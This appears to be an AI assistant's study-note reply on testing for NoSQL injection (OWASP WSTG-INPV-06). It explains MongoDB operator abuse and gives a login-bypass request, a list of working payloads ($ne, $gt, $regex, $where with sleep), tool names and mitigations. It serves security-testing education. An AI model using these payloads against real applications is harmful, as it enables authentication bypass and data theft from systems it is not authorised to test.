Good — next in **WSTG-INPV-06 / NoSQL Injection**.  
This is newer compared to classical SQLi because many apps now use **MongoDB, CouchDB, Redis** etc.

**🧪 Testing for NoSQL Injection**

**🔎 What is it?**

* **NoSQL Injection** happens when unsanitized input is inserted into NoSQL queries (often JSON).
* Unlike SQLi, it exploits **query operators** ($ne, $gt, $regex, $where) to bypass authentication, extract data, or run server-side JavaScript.

**⚡ Example: MongoDB Injection**

**Normal login query**

db.users.find({ username: "admin", password: "12345" })

**Malicious input**

POST /login

username=admin&password[$ne]=12345

Query becomes:

db.users.find({ username: "admin", password: { $ne: "12345" } })

➡ Always true → login bypass.

**🔧 Testing Methods**

**1. Manual Injection (Burp Suite Repeater)**

* Inject payloads in parameters:
  + {"username":"admin","password":{"$ne":""}}
  + {"username":{"$gt":""},"password":{"$gt":""}}
  + {"username":"admin","password":{"$regex":".\*"}}
* Look for:
  + Different responses (success vs failure).
  + Errors revealing DB type (MongoError, CouchbaseError).

**2. Automated Testing Tools**

* **NoSQLMap** – similar to sqlmap but for NoSQL.
* python nosqlmap.py
* Burp extensions like **Hackvertor** can help craft JSON payloads.

**3. Timing-based Exploits**

If blind:

{"username":"admin","password":{"$where":"sleep(5000)"}}

➡ If server delays response, injection succeeded.

**🔍 Common Payloads**

* {"$ne":null} → bypass.
* {"$gt":""} → true condition.
* {"$regex":".\*"} → regex match all.
* {"$where":"this.password.length > 0"} → inject JS.

**✅ Mitigation**

* Always **sanitize user input** → enforce strict JSON schema.
* Use **parameterized queries / ORM** for NoSQL as well.
* Disable server-side JavaScript execution where possible.
* Apply **rate limiting & WAF rules** to detect JSON injection attempts.

⚡ **Summary**:

* SQLi and NoSQLi are conceptually similar, but **NoSQLi abuses JSON operators**.
* Use Burp for fuzzing parameters, detect differences, then move to **NoSQLMap** for exploitation.

👉 Do you want me to also prepare a **side-by-side comparison table (SQLi vs NoSQLi)** so you can remember both techniques easily during your notes?